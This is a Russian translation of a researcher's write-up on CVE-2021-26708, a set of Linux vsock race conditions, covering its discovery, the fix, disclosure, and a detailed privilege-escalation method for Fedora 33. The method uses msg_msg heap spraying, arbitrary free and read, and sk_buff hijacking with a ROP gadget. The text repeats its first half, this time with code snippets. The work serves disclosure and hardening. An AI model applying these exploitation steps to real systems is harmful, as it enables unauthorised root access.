CVE-2021-26708 присвоено пять ошибок состояния гонки в реализации виртуального сокета ядра Linux. Я обнаружил и исправил их в январе 2021 года. В этой статье я описываю, как использовать их для повышения локальных привилегий на Fedora 33 Server для x86_64, минуя SMEP и SMAP.
Сегодня я выступал на Zer0Con 2021 (http://zer0con.org/#speaker-section) на эту тему (вот слайды https://a13xp0p0v.github.io/img/CVE-2021-26708.pdf).
Мне нравится этот эксплойт. Состояние гонки может быть использовано для очень ограниченного повреждения памяти, которое я постепенно превращаю в произвольное чтение/запись памяти ядра и, в конечном итоге, в полную власть над системой. Вот почему я назвал эту статью "Четыре байта мощности".
Вот демонстрационное видео PoC:
Уязвимости
Эти уязвимости представляют собой состояния гонки, вызванные ошибочной блокировкой в net/vmw_vsock/af_vsock.c. Условия гонки были неявно введены в ноябре 2019 года в коммитах, которые добавили поддержку мульти-транспорта VSOCK. Эти коммиты были объединены в ядро Linux версии 5.5-rc1.
CONFIG_VSOCKETS и CONFIG_VIRTIO_VSOCKETS поставляются как модули ядра во всех основных дистрибутивах GNU/Linux. Уязвимые модули автоматически загружаются при создании сокета для домена AF_VSOCK:
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
Создание сокета AF_VSOCK доступно непривилегированным пользователям без необходимости использования пользовательских пространств имен. Аккуратно, правда?
Ошибки и исправления
Использую фаззер syzkaller с кастомными доработками. 11 января я увидел подозрительный сбой ядра в virtio_transport_notify_buffer_size(). Однако фаззеру не удалось воспроизвести этот сбой, поэтому я начал проверять исходный код и разрабатывать репродуктор вручную.
Через несколько дней я обнаружил сбивающую с толку ошибку в vsock_stream_setsockopt(), которая выглядела так:
Это странно. Указатель на транспорт виртуального сокета копируется в локальную переменную перед вызовом lock_sock(). Но значение vsk->transport может измениться, если блокировка сокета не задействована! Это очевидная ошибка состояния гонки. Я проверил весь файл af_vsock.c и обнаружил еще четыре похожие проблемы.
Поиск в истории git помог понять причину. Изначально транспорт для виртуального сокета нельзя было изменить, поэтому копирование значения vsk->transport в локальную переменную было безопасным. Позже ошибки были неявно введены при помощи commit c0cfa2d8a788fcf4 (vsock: добавить поддержку нескольких транспортов) и commit 6a2c0962105ae8ce (vsock: предотвратить выгрузку транспортных модулей).
Исправить эту уязвимость несложно:
Немного странное раскрытие уязвимости
30 января, после завершения PoC эксплойта, я создал исправляющий патч и отправил ответственное уведомление по адресу security@kernel.org. Я получил очень быстрые ответы от Линуса и Грега, и мы остановились на следующей процедуре:
Первый шаг сомнительный. Линус решил сразу же объединить мой патч без какого-либо раскрытия информации, поскольку патч "не сильно отличается от тех патчей, которые мы делаем каждый день". Я послушался и предложил публично отправить его в LKML. Это важно, потому что любой может найти исправления уязвимостей ядра, отфильтровав коммиты ядра, которые не попали в списки рассылки.
2 февраля вторая версия моего патча была слита в netdev/net.git и затем попала в дерево Линуса. 4 февраля Грег применил его к стабильной ветке. Затем я немедленно сообщил linux-distros@vs.openwall.org, что исправленные ошибки можно эксплуатировать, и спросил, сколько времени потребуется дистрибутивам Linux, прежде чем я сделаю публичное раскрытие.
Но я получил такой ответ:
Немного странно. В любом случае, затем я запросил идентификатор CVE на https://cve.mitre.org/cve/request_id.html и сделал объявление на oss-security@lists.openwall.com.
Возникает вопрос: совместима ли эта процедура "слияния ASAP" со списком рассылки linux-distros?
В качестве противоположного примера, когда я сообщил о CVE-2017-2636 по адресу security@kernel.org, Кис Кук и Грег организовали недельное эмбарго на раскрытие информации через список рассылки linux-distros. Это позволило дистрибутивам Linux без спешки интегрировать мое исправление в свои обновления безопасности и выпускать их одновременно.
Повреждение памяти
Теперь давайте сосредоточимся на использовании CVE-2021-26708. Я использовал состояние гонки в vsock_stream_setsockopt(). Для его воспроизведения требуется два потока. Первый вызывает setsockopt():
Второй поток должен изменить транспорт виртуального сокета, пока vsock_stream_setsockopt() пытается получить блокировку сокета. Выполняется переподключением к виртуальному сокету:
Чтобы обработать connect() для виртуального сокета, ядро выполняет vsock_stream_connect(), которая вызывает vsock_assign_transport(). У этой функции есть интересующий нас код:
Обратите внимание, что vsock_stream_connect() удерживает блокировку сокета. Тем временем vsock_stream_setsockopt() в параллельном потоке пытается получить его. Хорошо. Это то, что нам нужно для достижения состояния гонки.
Итак, при втором connect() с другим svm_cid вызывается функция vsock_deassign_transport(). Функция выполняет транспортный деструктор virtio_transport_destruct() и, таким образом, освобождает vsock_sock.trans. На этом этапе вы можете догадаться, что все это кроется в use-after-free
vsk->transport установлен в NULL.
Когда vsock_stream_connect() снимает блокировку сокета, vsock_stream_setsockopt() может продолжить выполнение. Он вызывает vsock_update_buffer_size(), который впоследствии вызывает transport→notify_buffer_size(). Здесь транспорт имеет устаревшее значение из локальной переменной, которое не соответствует vsk->transport (которое имеет значение NULL).
Ядро выполняет virtio_transport_notify_buffer_size(), разрушая память ядра:
Здесь vvs - это указатель на память ядра, которая была освобождена с помощью virtio_transport_destruct(). Размер struct virtio_vsock_sock составляет 64 байта; этот объект находится в кэше kmalloc-64. Поле buf_alloc имеет тип u32 и находится по смещению 40.
VIRTIO_VSOCK_MAX_BUF_SIZE — 0xFFFFFFFFUL. Значение * val контролируется злоумышленником, и его четыре младших байта записываются в освобожденную память.
"Fuzzing miracle"
Как я уже упоминал, syzkaller не смог воспроизвести этот сбой, и мне пришлось разработать репродуктор вручную. Но почему вышел из строя фаззер? Глядя на vsock_update_buffer_size(), мы получили ответ:
Обработчик notify_buffer_size() вызывается, только если val отличается от текущего buffer_size. Другими словами, setsockopt(), выполняющий SO_VM_SOCKETS_BUFFER_SIZE, должен вызываться каждый раз с разными параметрами размера. Я использовал этот забавный прием, чтобы сделать повреждение памяти в моем первом репродукторе (исходный код):
Здесь значение размера берется из счетчика наносекунд, возвращаемого функцией clock_gettime(), и, вероятно, будет отличаться в каждом гоночном раунде.
Syzkaller без модификаций этого не делает. Значения параметров syscall выбираются, когда syzkaller генерирует вход фаззинга. Они не меняются, когда фаззер поражает цель.
В любом случае, я до сих пор не совсем понимаю, как syzkaller удалось столкнуться с этим падением ¯ \ _ (ツ) _ / ¯ Похоже, что фаззер совершил удачную многопоточную магию с SO_VM_SOCKETS_BUFFER_MAX_SIZE и SO_VM_SOCKETS_BUFFER_MIN_SIZE, но затем не смог его воспроизвести.
Идея! Возможно, добавление возможности рандомизировать некоторые аргументы системного вызова во время выполнения позволит syzkaller обнаруживать больше ошибок, таких как CVE-2021-26708. С другой стороны, это также может сделать воспроизведение сбоя менее стабильным.
Четыре байта мощности
На этот раз я выбрал Fedora 33 Server в качестве цели эксплуатации с версией ядра 5.10.11-200.fc33.x86_64. С самого начала я был настроен обойти SMEP и SMAP. Подводя итог, можно сказать, что это состояние гонки может вызвать пост-запись 4-байтового управляемого значения в 64-байтовый объект ядра по смещению 40. Это довольно ограниченное повреждение памяти. Мне было нелегко превратить его в настоящее оружие. Я собираюсь описать эксплойт, исходя из графика его разработки.
В качестве первого шага я начал работать над стабильным распылителем по кучи. Эксплойт должен выполнить некоторые действия в пользовательском пространстве, которые заставят ядро выделить другой 64-байтовый объект в месте освобожденного virtio_vsock_sock. Таким образом, 4-байтовая запись после освобождения должна повредить обработанный объект (вместо неиспользуемой свободной памяти ядра).
Я настроил быстрое экспериментальное распыление с помощью системного вызова add_key. Я вызвал его несколько раз сразу после второго подключения() к виртуальному сокету, пока параллельный поток завершает работу уязвимого vsock_stream_setsockopt(). Отслеживание распределителя ядра с помощью ftrace позволило подтвердить, что освобожденный virtio_vsock_sock перезаписан. Другими словами, я увидел возможность успешного распыления.
Следующим шагом в моей стратегии эксплуатации был поиск 64-байтового объекта ядра, который может обеспечить более сильный примитив эксплойта, если он имеет четыре поврежденных байта по смещению 40. Ха… не все так просто!
Моей первой мыслью было использовать технику iovec из эксплойта Bad Binder Мэдди Стоун и Джанна Хорна. Суть его в использовании тщательно поврежденного объекта iovec для произвольного чтения/записи памяти ядра. Однако с этой идеей у меня случился тройной провал:
- 64-байтовый iovec выделяется в стеке ядра, а не в куче.
- Четыре байта со смещением 40 перезаписывают iovec.iov_len (не iovec.iov_base), поэтому исходный подход не работает.
- Этот трюк с использованием iovec не работает, начиная с версии ядра Linux 4.13. Потрясающий Аль Виро убил его с помощью commit 09fc68dc66f7597b еще в июне 2017 года
После утомительных экспериментов с несколькими другими объектами ядра, подходящими для распыления кучи, я обнаружил системный вызов msgsnd (). Он создает структуру msg_msg в пространстве ядра, см. Вывод :
Это заголовок сообщения, за которым следуют данные сообщения. Если структура msgbuf в пользовательском пространстве имеет 16-байтовый mtext, соответствующий msg_msg создается в блочном кэше kmalloc-64, как и struct virtio_vsock_sock. 4-байтовая запись после освобождения может повредить void *security pointer по смещению 40. Использование поля безопасности для взлома безопасности Linux: ирония сама по себе!
Поле msg_msg.security указывает на данные ядра, выделенные lsm_msg_msg_alloc() и используемые SELinux в случае Fedora. Он освобождается функцией security_msg_msg_free() при получении msg_msg. Следовательно, повреждение первой половины указателя безопасности (младшие байты на little-endian x86_64) дает произвольное освобождение, что является гораздо более сильным примитивом эксплойта.
Утечка информации о ядре в качестве бонуса
Добившись произвольного выполнения, я начал думать, куда его нацеливать - что я могу освободить? Здесь я применил тот же прием, что и в эксплойте CVE-2019-18683. Как я упоминал ранее, второй метод connect() для виртуального сокета вызывает vsock_deassign_transport(), который устанавливает для vsk->transport значение NULL. Это заставляет уязвимую vsock_stream_setsockopt() показывать предупреждение ядра, когда она вызывает virtio_transport_send_pkt_info() сразу после повреждения памяти:
Сеанс быстрой отладки с помощью gdb показал, что регистр RCX содержит адрес ядра освобожденного virtio_vsock_sock, а регистр RBX содержит адрес ядра vsock_sock. Отлично! В Fedora я могу открыть и проанализировать /dev/kmsg: если в журнале ядра появляется еще одно предупреждение, значит, эксплойт выиграл еще одну гонку и может извлечь соответствующие адреса ядра из регистров.
От произвольного выполнения к use-after-free
Мой план эксплуатации заключался в следующем
Сначала я хотел использовать произвольный свободный адрес vsock_sock (из RBX), потому что это большая структура, содержащая много интересного.
Но это не сработало, так как он находится в выделенном кэше слэба, где я не могу выполнить распыление. Поэтому я не знаю, возможна ли эксплуатация vsock_sock после освобождения.
Другой вариант - освободить адрес от RCX. Я начал искать 64-байтовый объект ядра, который можно было бы использовать после освобождения (например, содержащий указатели ядра). Более того, эксплойт в пользовательском пространстве должен каким-то образом заставить ядро поместить этот объект на место освобожденного virtio_vsock_sock. Поиск объекта ядра, отвечающего этим требованиям, был огромной болью! Я даже использовал входной корпус своего фаззера и автоматизировал этот поиск.
Параллельно я изучал внутреннее устройство реализации сообщений System V, так как я уже использовал msg_msg для распыления кучи в этом эксплойте.
А потом я понял, как использовать use-after-free в msg_msg.
Достижение произвольного чтения
Реализация сообщения System V в ядре имеет максимальный размер DATALEN_MSG, который равен PAGE_SIZE минус sizeof (struct msg_msg)). Если вы отправляете сообщение большего размера, остаток сохраняется в списке сегментов сообщения. В структуре msg_msg есть структура msg_msgseg * next, которая указывает на первый сегмент, и size_t m_ts, в которой хранится весь размер.
Круто! Я могу поместить контролируемые значения в msg_msg.m_ts и msg_msg.next, когда я перезаписываю сообщение после выполнения произвольного выполнения для него:
Обратите внимание, что я не перезаписываю msg_msg.security, чтобы избежать нарушения проверок разрешений SELinux. Это возможно с помощью замечательной техники распыления кучи setxattr() и userfaultfd() Виталия Николенко. Совет: я размещаю полезную нагрузку распыления на границе области памяти, вызывающей сбой страницы, так что copy_from_user() зависает непосредственно перед перезаписью msg_msg.security. Смотрите код, подготавливающий полезную нагрузку:
Но как нам прочитать данные ядра с помощью созданного msg_msg? Получение этого сообщения требует манипуляций с очередью сообщений System V, что нарушает работу ядра, поскольку указатель msg_msg.m_list недействителен (в моем случае 0xa5a5a5a5a5a5a5a5). Моя первая идея заключалась в установке этого указателя на адрес другого хорошего сообщения, но это привело к зависанию ядра, поскольку обход списка сообщений не может завершиться.
Чтение документации по системному вызову msgrcv() помогло найти лучшее решение: я использовал msgrcv() с флагом MSG_COPY:
Этот флаг заставляет ядро копировать данные сообщения в пользовательское пространство, не удаляя их из очереди сообщений. Хорошо! MSG_COPY доступен, если ядро имеет CONFIG_CHECKPOINT_RESTORE = y, что верно для Fedora Server.
Произвольное чтение: пошаговая процедура
Вот пошаговая процедура, которую мой эксплойт использует для произвольного чтения памяти ядра:
Прочтите содержимое объекта ядра vsock_sock в пользовательское пространство, получив сообщение из очереди сообщений, в которой хранится перезаписанный msg_msg:
Эта часть эксплойта очень надежна.
Сортировка лута
Теперь мое "оружие" дало мне хорошую добычу: я получил содержимое объекта ядра vsock_sock. Мне потребовалось некоторое время, чтобы разобраться и найти хорошие цели для атак для дальнейших действий.
Вот что я нашел внутри:
Вот как эксплойт извлекает эти указатели из дампа памяти:
Структура cred размещается в выделенном кэше слэба cred_jar. Даже если я выполню произвольное освобождение от него, я не смогу перезаписать его контролируемыми данными (или, по крайней мере, я не знаю, как это сделать). Это очень плохо, так как это было бы лучшим решением.
Поэтому я сосредоточился на объекте mem_cgroup. Я попытался вызвать для этого kfree(), но ядро сразу запаниковало. Похоже, ядро довольно интенсивно использует этот объект. Но здесь я вспомнил свои старые добрые уловки повышения привилегий.
UAF в sk_buff
Когда я эксплуатировал CVE-2017-2636 в ядре Linux еще в 2017 году, я превратил double free для объекта kmalloc-8192 в use-after-free на sk_buff.Я решил повторить этот трюк.
Сетевой буфер в ядре Linux представлен структурой sk_buff. Этот объект имеет skb_shared_info с destructor_arg, который можно использовать для перехвата потока управления. Сетевые данные и skb_shared_info помещаются в тот же блок памяти ядра, на который указывает sk_buff.head. Следовательно, создание 2800-байтового сетевого пакета в пользовательском пространстве приведет к тому, что skb_shared_info будет размещен в кэше slab kmalloc-4k, где также находятся объекты mem_cgroup.
Итак, я реализовал следующую процедуру:
Когда получен объект sk_buff с перезаписанным skb_shared_info, ядро выполняет обратный вызов destructor_arg, который выполняет произвольную запись в память ядра и повышает привилегии пользователя. Как? Продолжай читать!
Я должен отметить, что эта часть с use-after-free на sk_buff является основным источником нестабильности эксплойта.Было бы неплохо найти лучший объект ядра, который можно было бы разместить в кэше слэб kmalloc- * и использовать для превращения использования после освобождения в произвольное чтение/запись памяти ядра.
Произвольная запись с помощью skb_shared_info
Давайте посмотрим на код, который подготавливает полезную нагрузку для перезаписи объекта sk_buff:
Структура skb_shared_info находится в обработанных данных точно по смещению SKB_SHINFO_OFFSET, которое составляет 3776 байт. Указатель skb_shared_info.destructor_arg хранит адрес ubuf_info. Я создаю поддельный ubuf_info в MY_UINFO_OFFSET в самом сетевом буфере. Это возможно, поскольку известен адрес ядра атакуемого sk_buff. Вот макет полезной нагрузки:
Теперь поговорим о обратном вызове destructor_arg:
Я изобрел очень странный примитив произвольной записи, который вы можете увидеть здесь. Я не смог найти гаджет разворота стека в vmlinuz-5.10.11-200.fc33.x86_64, который работал бы с моими ограничениями ... поэтому я выполнил произвольную запись одним выстрелом
Указатель функции обратного вызова хранит адрес одного гаджета ROP. Регистр RDI хранит первый аргумент функции обратного вызова, который является адресом самой ubuf_info. Итак, RDI + 8 указывает на ubuf_info.desc. Гаджет перемещает ubuf_info.desc в RDX. Теперь RDX содержит адрес эффективного идентификатора пользователя и идентификатора группы за вычетом одного байта. Этот байт важен: когда гаджет записывает qword с 1 из RSI в память, на которую указывает RDX, эффективные uid и gid перезаписываются нулями.
Затем такая же процедура повторяется для uid и gid. Привилегии повышаются до root. Игра окончена.
Вывод эксплойта, отображающий всю процедуру:
Возможные способы защиты от эксплойтов
Некоторые технологии могут предотвратить использование CVE-2021-26708 или, по крайней мере, усложнить его.
- Использование этой уязвимости невозможно с помощью карантина кучи ядра Linux, так как повреждение памяти происходит вскоре после состояния гонки. О моем прототипе SLAB_QUARANTINE читайте в отдельной статье.
- MODHARDEN из патча grsecurity предотвращает автозагрузку модуля ядра непривилегированными пользователями.
- Установка /proc/sys/vm/ unprivileged_userfaultfd на 0 заблокирует описанный метод сохранения полезной нагрузки в пространстве ядра. Этот переключатель ограничивает использование userfaultfd() только привилегированными пользователями (с возможностью SYS_CAP_PTRACE).
- Установка для kernel.dmesg_restrict sysctl значения 1 блокирует утечку информации через журнал ядра. Этот sysctl ограничивает возможность непривилегированных пользователей читать системный журнал ядра через dmesg.
- Целостность потока управления может помешать вызову моего устройства ROP. Вы можете увидеть эти технологии на карте защиты ядра Linux, которую я поддерживаю.
- Будем надеяться, что в будущих версиях ядра Linux будет поддержка расширения ARM Memory Tagging Extension (MTE) для смягчения последствий использования после освобождения на ARM.
- До меня доходили слухи под названием AUTOSLAB. Мы мало что знаем об этом. Предположительно, это заставляет Linux выделять объекты ядра в отдельные кэши слэба в зависимости от типа объекта. Это может испортить технику распыления кучи, которую я активно использую в этом эксплойте.
- Кис Кук отметил, что установка sysctl panic_on_warn в 1 нарушит атаку. Да, это превращает возможное повышение привилегий в отказ в обслуживании. Для записи, я НЕ рекомендую включать panic_on_warn или CONFIG_PANIC_ON_OOPS в производственных системах, потому что это позволяет легко атаковать отказ в обслуживании (предупреждение ядра/упс - не редкая ситуация). Дополнительные сведения см. в документации моего проекта kconfig-hardened-check.
Заключительные слова
Исследование, исправление CVE-2021-26708 и разработка эксплойта PoC были интересным и утомительным путешествием.
Мне удалось превратить состояние гонки с очень ограниченным повреждением памяти в произвольное чтение/запись памяти ядра и повышение привилегий на сервере Fedora 33 для x86_64, минуя SMEP и SMAP. В ходе этого исследования я создал несколько новых уловок по эксплуатации уязвимостей для ядра Linux.
Я считаю, что написание этой статьи важно для сообщества разработчиков ядра Linux как способ придумать новые идеи для улучшения безопасности ядра. Надеюсь, вам понравилось это читать!
И, конечно же, я благодарю Positive Technologies за предоставленную мне возможность поработать над этим исследованием.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник:https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html
Сегодня я выступал на Zer0Con 2021 (http://zer0con.org/#speaker-section) на эту тему (вот слайды https://a13xp0p0v.github.io/img/CVE-2021-26708.pdf).
Мне нравится этот эксплойт. Состояние гонки может быть использовано для очень ограниченного повреждения памяти, которое я постепенно превращаю в произвольное чтение/запись памяти ядра и, в конечном итоге, в полную власть над системой. Вот почему я назвал эту статью "Четыре байта мощности".
Вот демонстрационное видео PoC:
Уязвимости
Эти уязвимости представляют собой состояния гонки, вызванные ошибочной блокировкой в net/vmw_vsock/af_vsock.c. Условия гонки были неявно введены в ноябре 2019 года в коммитах, которые добавили поддержку мульти-транспорта VSOCK. Эти коммиты были объединены в ядро Linux версии 5.5-rc1.
CONFIG_VSOCKETS и CONFIG_VIRTIO_VSOCKETS поставляются как модули ядра во всех основных дистрибутивах GNU/Linux. Уязвимые модули автоматически загружаются при создании сокета для домена AF_VSOCK:
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
Создание сокета AF_VSOCK доступно непривилегированным пользователям без необходимости использования пользовательских пространств имен. Аккуратно, правда?
Ошибки и исправления
Использую фаззер syzkaller с кастомными доработками. 11 января я увидел подозрительный сбой ядра в virtio_transport_notify_buffer_size(). Однако фаззеру не удалось воспроизвести этот сбой, поэтому я начал проверять исходный код и разрабатывать репродуктор вручную.
Через несколько дней я обнаружил сбивающую с толку ошибку в vsock_stream_setsockopt(), которая выглядела так:
C:
struct sock *sk;
struct vsock_sock *vsk;
const struct vsock_transport *transport;
/* ... */
sk = sock->sk;
vsk = vsock_sk(sk);
transport = vsk->transport;
lock_sock(sk);
Это странно. Указатель на транспорт виртуального сокета копируется в локальную переменную перед вызовом lock_sock(). Но значение vsk->transport может измениться, если блокировка сокета не задействована! Это очевидная ошибка состояния гонки. Я проверил весь файл af_vsock.c и обнаружил еще четыре похожие проблемы.
Поиск в истории git помог понять причину. Изначально транспорт для виртуального сокета нельзя было изменить, поэтому копирование значения vsk->transport в локальную переменную было безопасным. Позже ошибки были неявно введены при помощи commit c0cfa2d8a788fcf4 (vsock: добавить поддержку нескольких транспортов) и commit 6a2c0962105ae8ce (vsock: предотвратить выгрузку транспортных модулей).
Исправить эту уязвимость несложно:
C:
sk = sock->sk;
vsk = vsock_sk(sk);
- transport = vsk->transport;
lock_sock(sk);
+ transport = vsk->transport;
Немного странное раскрытие уязвимости
30 января, после завершения PoC эксплойта, я создал исправляющий патч и отправил ответственное уведомление по адресу security@kernel.org. Я получил очень быстрые ответы от Линуса и Грега, и мы остановились на следующей процедуре:
- Публичная отправка моего патча в список рассылки ядра Linux (LKML).
- Слияние с восходящим потоком и обратное портирование на затронутые стабильные деревья.
- Информирование дистрибутивов о важности этой проблемы для безопасности через список рассылки linux-distros.
- Раскрытие информации через oss-security@lists.openwall.com, если это разрешено дистрибутивами.
Первый шаг сомнительный. Линус решил сразу же объединить мой патч без какого-либо раскрытия информации, поскольку патч "не сильно отличается от тех патчей, которые мы делаем каждый день". Я послушался и предложил публично отправить его в LKML. Это важно, потому что любой может найти исправления уязвимостей ядра, отфильтровав коммиты ядра, которые не попали в списки рассылки.
2 февраля вторая версия моего патча была слита в netdev/net.git и затем попала в дерево Линуса. 4 февраля Грег применил его к стабильной ветке. Затем я немедленно сообщил linux-distros@vs.openwall.org, что исправленные ошибки можно эксплуатировать, и спросил, сколько времени потребуется дистрибутивам Linux, прежде чем я сделаю публичное раскрытие.
Но я получил такой ответ:
Если патч зафиксирован в апстриме, проблема будет общедоступной.
Пожалуйста, немедленно отправьте в oss-security.
Немного странно. В любом случае, затем я запросил идентификатор CVE на https://cve.mitre.org/cve/request_id.html и сделал объявление на oss-security@lists.openwall.com.
Возникает вопрос: совместима ли эта процедура "слияния ASAP" со списком рассылки linux-distros?
В качестве противоположного примера, когда я сообщил о CVE-2017-2636 по адресу security@kernel.org, Кис Кук и Грег организовали недельное эмбарго на раскрытие информации через список рассылки linux-distros. Это позволило дистрибутивам Linux без спешки интегрировать мое исправление в свои обновления безопасности и выпускать их одновременно.
Повреждение памяти
Теперь давайте сосредоточимся на использовании CVE-2021-26708. Я использовал состояние гонки в vsock_stream_setsockopt(). Для его воспроизведения требуется два потока. Первый вызывает setsockopt():
C:
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
Второй поток должен изменить транспорт виртуального сокета, пока vsock_stream_setsockopt() пытается получить блокировку сокета. Выполняется переподключением к виртуальному сокету:
C:
struct sockaddr_vm addr = {
.svm_family = AF_VSOCK,
};
addr.svm_cid = VMADDR_CID_LOCAL;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
addr.svm_cid = VMADDR_CID_HYPERVISOR;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
Чтобы обработать connect() для виртуального сокета, ядро выполняет vsock_stream_connect(), которая вызывает vsock_assign_transport(). У этой функции есть интересующий нас код:
C:
if (vsk->transport) {
if (vsk->transport == new_transport)
return 0;
/* transport->release() must be called with sock lock acquired.
* This path can only be taken during vsock_stream_connect(),
* where we have already held the sock lock.
* In the other cases, this function is called on a new socket
* which is not assigned to any transport.
*/
vsk->transport->release(vsk);
vsock_deassign_transport(vsk);
}
Обратите внимание, что vsock_stream_connect() удерживает блокировку сокета. Тем временем vsock_stream_setsockopt() в параллельном потоке пытается получить его. Хорошо. Это то, что нам нужно для достижения состояния гонки.
Итак, при втором connect() с другим svm_cid вызывается функция vsock_deassign_transport(). Функция выполняет транспортный деструктор virtio_transport_destruct() и, таким образом, освобождает vsock_sock.trans. На этом этапе вы можете догадаться, что все это кроется в use-after-free
Когда vsock_stream_connect() снимает блокировку сокета, vsock_stream_setsockopt() может продолжить выполнение. Он вызывает vsock_update_buffer_size(), который впоследствии вызывает transport→notify_buffer_size(). Здесь транспорт имеет устаревшее значение из локальной переменной, которое не соответствует vsk->transport (которое имеет значение NULL).
Ядро выполняет virtio_transport_notify_buffer_size(), разрушая память ядра:
C:
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
struct virtio_vsock_sock *vvs = vsk->trans;
if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
*val = VIRTIO_VSOCK_MAX_BUF_SIZE;
vvs->buf_alloc = *val;
virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}
Здесь vvs - это указатель на память ядра, которая была освобождена с помощью virtio_transport_destruct(). Размер struct virtio_vsock_sock составляет 64 байта; этот объект находится в кэше kmalloc-64. Поле buf_alloc имеет тип u32 и находится по смещению 40.
VIRTIO_VSOCK_MAX_BUF_SIZE — 0xFFFFFFFFUL. Значение * val контролируется злоумышленником, и его четыре младших байта записываются в освобожденную память.
"Fuzzing miracle"
Как я уже упоминал, syzkaller не смог воспроизвести этот сбой, и мне пришлось разработать репродуктор вручную. Но почему вышел из строя фаззер? Глядя на vsock_update_buffer_size(), мы получили ответ:
C:
if (val != vsk->buffer_size &&
transport && transport->notify_buffer_size)
transport->notify_buffer_size(vsk, &val);
vsk->buffer_size = val;
Обработчик notify_buffer_size() вызывается, только если val отличается от текущего buffer_size. Другими словами, setsockopt(), выполняющий SO_VM_SOCKETS_BUFFER_SIZE, должен вызываться каждый раз с разными параметрами размера. Я использовал этот забавный прием, чтобы сделать повреждение памяти в моем первом репродукторе (исходный код):
C:
struct timespec tp;
unsigned long size = 0;
clock_gettime(CLOCK_MONOTONIC, &tp);
size = tp.tv_nsec;
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
Здесь значение размера берется из счетчика наносекунд, возвращаемого функцией clock_gettime(), и, вероятно, будет отличаться в каждом гоночном раунде.
Syzkaller без модификаций этого не делает. Значения параметров syscall выбираются, когда syzkaller генерирует вход фаззинга. Они не меняются, когда фаззер поражает цель.
В любом случае, я до сих пор не совсем понимаю, как syzkaller удалось столкнуться с этим падением ¯ \ _ (ツ) _ / ¯ Похоже, что фаззер совершил удачную многопоточную магию с SO_VM_SOCKETS_BUFFER_MAX_SIZE и SO_VM_SOCKETS_BUFFER_MIN_SIZE, но затем не смог его воспроизвести.
Идея! Возможно, добавление возможности рандомизировать некоторые аргументы системного вызова во время выполнения позволит syzkaller обнаруживать больше ошибок, таких как CVE-2021-26708. С другой стороны, это также может сделать воспроизведение сбоя менее стабильным.
Четыре байта мощности
На этот раз я выбрал Fedora 33 Server в качестве цели эксплуатации с версией ядра 5.10.11-200.fc33.x86_64. С самого начала я был настроен обойти SMEP и SMAP. Подводя итог, можно сказать, что это состояние гонки может вызвать пост-запись 4-байтового управляемого значения в 64-байтовый объект ядра по смещению 40. Это довольно ограниченное повреждение памяти. Мне было нелегко превратить его в настоящее оружие. Я собираюсь описать эксплойт, исходя из графика его разработки.
В качестве первого шага я начал работать над стабильным распылителем по кучи. Эксплойт должен выполнить некоторые действия в пользовательском пространстве, которые заставят ядро выделить другой 64-байтовый объект в месте освобожденного virtio_vsock_sock. Таким образом, 4-байтовая запись после освобождения должна повредить обработанный объект (вместо неиспользуемой свободной памяти ядра).
Я настроил быстрое экспериментальное распыление с помощью системного вызова add_key. Я вызвал его несколько раз сразу после второго подключения() к виртуальному сокету, пока параллельный поток завершает работу уязвимого vsock_stream_setsockopt(). Отслеживание распределителя ядра с помощью ftrace позволило подтвердить, что освобожденный virtio_vsock_sock перезаписан. Другими словами, я увидел возможность успешного распыления.
Следующим шагом в моей стратегии эксплуатации был поиск 64-байтового объекта ядра, который может обеспечить более сильный примитив эксплойта, если он имеет четыре поврежденных байта по смещению 40. Ха… не все так просто!
Моей первой мыслью было использовать технику iovec из эксплойта Bad Binder Мэдди Стоун и Джанна Хорна. Суть его в использовании тщательно поврежденного объекта iovec для произвольного чтения/записи памяти ядра. Однако с этой идеей у меня случился тройной провал:
- 64-байтовый iovec выделяется в стеке ядра, а не в куче.
- Четыре байта со смещением 40 перезаписывают iovec.iov_len (не iovec.iov_base), поэтому исходный подход не работает.
- Этот трюк с использованием iovec не работает, начиная с версии ядра Linux 4.13. Потрясающий Аль Виро убил его с помощью commit 09fc68dc66f7597b еще в июне 2017 года
После утомительных экспериментов с несколькими другими объектами ядра, подходящими для распыления кучи, я обнаружил системный вызов msgsnd (). Он создает структуру msg_msg в пространстве ядра, см. Вывод :
C:
struct msg_msg {
struct list_head m_list; /* 0 16 */
long int m_type; /* 16 8 */
size_t m_ts; /* 24 8 */
struct msg_msgseg * next; /* 32 8 */
void * security; /* 40 8 */
/* size: 48, cachelines: 1, members: 5 */
/* last cacheline: 48 bytes */
};
Это заголовок сообщения, за которым следуют данные сообщения. Если структура msgbuf в пользовательском пространстве имеет 16-байтовый mtext, соответствующий msg_msg создается в блочном кэше kmalloc-64, как и struct virtio_vsock_sock. 4-байтовая запись после освобождения может повредить void *security pointer по смещению 40. Использование поля безопасности для взлома безопасности Linux: ирония сама по себе!
Поле msg_msg.security указывает на данные ядра, выделенные lsm_msg_msg_alloc() и используемые SELinux в случае Fedora. Он освобождается функцией security_msg_msg_free() при получении msg_msg. Следовательно, повреждение первой половины указателя безопасности (младшие байты на little-endian x86_64) дает произвольное освобождение, что является гораздо более сильным примитивом эксплойта.
Утечка информации о ядре в качестве бонуса
Добившись произвольного выполнения, я начал думать, куда его нацеливать - что я могу освободить? Здесь я применил тот же прием, что и в эксплойте CVE-2019-18683. Как я упоминал ранее, второй метод connect() для виртуального сокета вызывает vsock_deassign_transport(), который устанавливает для vsk->transport значение NULL. Это заставляет уязвимую vsock_stream_setsockopt() показывать предупреждение ядра, когда она вызывает virtio_transport_send_pkt_info() сразу после повреждения памяти:
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G W 5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
